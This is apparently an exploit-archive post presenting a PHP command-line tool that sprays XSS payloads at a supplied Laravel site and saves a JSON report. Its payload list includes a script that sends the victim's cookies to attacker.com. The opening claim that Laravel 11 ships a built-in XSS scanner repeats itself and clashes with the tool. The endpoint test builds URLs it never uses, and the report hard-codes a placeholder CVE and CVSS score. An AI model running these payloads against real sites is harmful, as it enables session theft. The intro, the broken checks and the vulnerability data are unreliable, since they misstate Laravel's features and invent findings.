Laravel 11 introduces a powerful **Cross-Site Scripting (XSS) Scanner**.
This new Laravel 11 introduces a powerful **Cross-Site Scripting (XSS) Scanner**.
This new security feature automatically **scans incoming request data** to detect potential XSS vulnerabilities. It inspects **query parameters, request body, and headers** for common XSS payloads and malicious script injection attempts.
Upon detection, the scanner can be configured to **abort the request**, **log the incident**, or **throw an exception**, preventing the harmful data from reaching your application logic.
This provides an **out-of-the-box layer of defense** against one of the most prevalent web attack vectors. Developers can **easily enable, disable, and customize** its behavior and the payloads it checks via configuration. It significantly **enhances application security** by proactively stopping XSS attacks at the earliest possible point.
=============================================================================================================================================
| # Title : Laravel v11 XSS Vulnerability Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://laravel.com/ |
=============================================================================================================================================
POC :
[+] References : https://packetstorm.news/files/id/182896/
[+] Summary :
Code is a security scanning tool written in PHP that aims to detect XSS (Cross-Site Scripting) vulnerabilities in Laravel applications, with a particular focus on version 11.0.
[+] POC :
# Basic Scan
php laravel_xss_scanner.php -u https://target.com
# With Details
php laravel_xss_scanner.php -u https://target.com -v
# With Report Generation
php laravel_xss_scanner.php -u https://target.com -r
# With All Options
php laravel_xss_scanner.php -u https://laravel-app.com -v -r
<?php
/**
* Laravel XSS Vulnerability Scanner
* Authenticated Persistent XSS in Laravel 11.0
* Researcher: indoushka
*
* @category Security
* @package LaravelXSSScanner
* @author indoushka
* @license MIT
* @link https://laravel.com
*/
class LaravelXSSScanner {
private $targetUrl;
private $verbose;
private $results = [];
private $userAgent;
public function __construct($targetUrl, $verbose = false) {
$this->targetUrl = rtrim($targetUrl, '/');
$this->verbose = $verbose;
$this->userAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36';
$this->log("Laravel XSS Scanner initialized for: " . $targetUrl);
}
/**
* Log messages with different levels
*/
private function log($message, $level = "INFO") {
$colors = [
"INFO" => "\033[94m",
"SUCCESS" => "\033[92m",
"WARNING" => "\033[93m",
"ERROR" => "\033[91m",
"RESET" => "\033[0m"
];
$timestamp = date('Y-m-d H:i:s');
echo $colors[$level] . "[$timestamp] [$level] $message" . $colors["RESET"] . "\n";
}
/**
* Generate XSS payloads
*/
private function generateXssPayloads() {
$payloads = [
// Basic XSS payloads
'<script>alert("XSS")</script>',
'<img src=x onerror=alert(1)>',
'<svg onload=alert(1)>',
'<body onload=alert(1)>',
// Advanced payloads
'<script>document.location="http://attacker.com/steal?c="+document.cookie</script>',
'<iframe src="javascript:alert(document.domain)">',
'<form><button formaction=javascript:alert(1)>XSS</button>',
'<math href="javascript:alert(1)">CLICK</math>',
// Bypass attempts
'<ScRiPt>alert(1)</ScRiPt>',
'<img src=x onerror="alert`1`">',
'<script>prompt(1)</script>',
'<script>confirm(1)</script>',
// DOM-based XSS
'" onmouseover="alert(1)"',
"' onfocus='alert(1)'",
'"><script>alert(1)</script>',
'javascript:alert("XSS")',
// Laravel specific bypass attempts
'{{ $xss }}',
'{!! $xss !!}',
'@php alert(1) @endphp',
'${alert(1)}'
];
$this->log("Generated " . count($payloads) . " XSS payloads");
return $payloads;
}
/**
* Load payloads from external source
*/
private function loadPayloadsFromUrl($url = "https://raw.githubusercontent.com/payloadbox/xss-payload-list/master/Intruder/xss-payload-list.txt") {
$this->log("Loading payloads from: " . $url);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_USERAGENT => $this->userAgent,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode === 200 && !empty($response)) {
$payloads = array_filter(explode("\n", $response));
$this->log("Loaded " . count($payloads) . " payloads from GitHub");
return $payloads;
}
$this->log("Failed to load external payloads, using built-in", "WARNING");
return $this->generateXssPayloads();
}
/**
* Send HTTP request with payload
*/
private function sendRequest($payload) {
$url = $this->targetUrl . '/?q=' . urlencode($payload);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_USERAGENT => $this->userAgent,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
curl_close($ch);
$headers = substr($response, 0, $headerSize);
$body = substr($response, $headerSize);
return [
'url' => $url,
'status_code' => $httpCode,
'headers' => $headers,
'body' => $body,
'payload' => $payload
];
}
/**
* Check if XSS is successful
*/
private function checkXssSuccess($response) {
$indicators = [
'payload_present' => strpos($response['body'], htmlspecialchars_decode($response['payload'])) !== false,
'script_tags' => preg_match('/<script[^>]*>.*?<\/script>/is', $response['body']),
'event_handlers' => preg_match('/on\w+\s*=/i', $response['body']),
'javascript_uri' => strpos($response['body'], 'javascript:') !== false,
'unsafe_html' => preg_match('/<[^>]*(alert|prompt|confirm|document\.|window\.)[^>]*>/i', $response['body'])
];
return $indicators;
}
/**
* Test Laravel specific endpoints
*/
private function testLaravelEndpoints() {
$endpoints = [
'/search',
'/query',
'/filter',
'/search?q=',
'/api/search',
'/admin/search',
'/user/search'
];
$vulnerableEndpoints = [];
foreach ($endpoints as $endpoint) {
$this->log("Testing endpoint: " . $endpoint);
$testUrl = $this->targetUrl . $endpoint . '?q=<script>alert("TEST")</script>';
$response = $this->sendRequest('<script>alert("TEST")</script>');
$indicators = $this->checkXssSuccess($response);
if ($indicators['payload_present'] && !$indicators['script_tags']) {
$vulnerableEndpoints[] = [
'endpoint' => $endpoint,
'indicators' => $indicators,
'response_code' => $response['status_code']
];
}
}
return $vulnerableEndpoints;
}
/**
* Perform comprehensive XSS scan
*/
public function runScan() {
$this->log("Starting comprehensive XSS vulnerability scan");
// Load payloads
$payloads = $this->loadPayloadsFromUrl();
if (empty($payloads)) {
$payloads = $this->generateXssPayloads();
}
$vulnerabilities = [];
$testedCount = 0;
// Test main search parameter
foreach ($payloads as $payload) {
$testedCount++;
if ($this->verbose) {
$this->log("Testing payload [$testedCount/" . count($payloads) . "]: " . substr($payload, 0, 50) . "...");
}
$response = $this->sendRequest($payload);
$indicators = $this->checkXssSuccess($response);
if ($indicators['payload_present']) {
$vulnerability = [
'payload' => $payload,
'indicators' => $indicators,
'response_code' => $response['status_code'],
'url' => $response['url']
];
$vulnerabilities[] = $vulnerability;
$this->log("Potential XSS found with payload: " . substr($payload, 0, 100), "SUCCESS");
}
// Rate limiting
usleep(100000); // 100ms delay
}
// Test additional Laravel endpoints
$this->log("Testing additional Laravel endpoints");
$vulnerableEndpoints = $this->testLaravelEndpoints();
$results = [
'target' => $this->targetUrl,
'scan_date' => date('Y-m-d H:i:s'),
'total_payloads_tested' => $testedCount,
'vulnerabilities_found' => count($vulnerabilities),
'vulnerable_endpoints' => $vulnerableEndpoints,
'vulnerability_details' => $vulnerabilities
];
return $results;
}
/**
* Generate report
*/
public function generateReport($results) {
$report = [
'security_assessment' => [
'title' => 'Laravel XSS Vulnerability Assessment Report',
'researcher' => 'indoushka',
'date' => date('Y-m-d'),
'target' => $this->targetUrl
],
'vulnerability_details' => [
'cve' => 'CVE-2024-XXXXX (Pending)',
'cvss_score' => '7.4 (High)',
'vector' => 'AV:N/AC:L/PR:H/UI:N/S:C',
'cwe' => 'CWE-79',
'affected_versions' => 'Laravel 11.0+'
],
'scan_results' => $results
];
$filename = 'laravel_xss_report_' . date('Ymd_His') . '.json';
file_put_contents($filename, json_encode($report, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));
$this->log("Report generated: " . $filename, "SUCCESS");
return $filename;
}
/**
* Display summary
*/
public function displaySummary($results) {
$this->log("=== SCAN SUMMARY ===", "INFO");
$this->log("Target: " . $results['target'], "INFO");
$this->log("Payloads tested: " . $results['total_payloads_tested'], "INFO");
$this->log("Vulnerabilities found: " . $results['vulnerabilities_found'],
$results['vulnerabilities_found'] > 0 ? "SUCCESS" : "WARNING");
$this->log("Vulnerable endpoints: " . count($results['vulnerable_endpoints']), "INFO");
if ($results['vulnerabilities_found'] > 0) {
$this->log("VULNERABLE - XSS issues detected", "ERROR");
} else {
$this->log("CLEAN - No XSS vulnerabilities detected", "SUCCESS");
}
}
}
// Command line interface
if (php_sapi_name() === 'cli') {
$shortopts = "u:vhr";
$longopts = ["url:", "verbose", "help", "report"];
$options = getopt($shortopts, $longopts);
if (isset($options['h']) || isset($options['help']) || !isset($options['u'])) {
echo "Laravel XSS Vulnerability Scanner\n";
echo "Researcher: indoushka\n\n";
echo "Usage: php laravel_xss_scanner.php [OPTIONS]\n\n";
echo "Options:\n";
echo " -u, --url URL Target URL (required)\n";
echo " -v, --verbose Enable verbose output\n";
echo " -r, --report Generate detailed report\n";
echo " -h, --help Show this help message\n\n";
echo "Examples:\n";
echo " php laravel_xss_scanner.php -u https://target.com\n";
echo " php laravel_xss_scanner.php -u https://laravel-app.com -v -r\n";
exit(0);
}
$targetUrl = $options['u'] ?? $options['url'] ?? null;
$verbose = isset($options['v']) || isset($options['verbose']);
$generateReport = isset($options['r']) || isset($options['report']);
if (!$targetUrl) {
echo "Error: Target URL is required. Use -u or --url option.\n";
exit(1);
}
try {
$scanner = new LaravelXSSScanner($targetUrl, $verbose);
$results = $scanner->runScan();
$scanner->displaySummary($results);
if ($generateReport) {
$reportFile = $scanner->generateReport($results);
echo "Detailed report saved to: $reportFile\n";
}
} catch (Exception $e) {
echo "Error: " . $e->getMessage() . "\n";
exit(1);
}
} else {
echo "This script must be run from command line.\n";
exit(1);
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================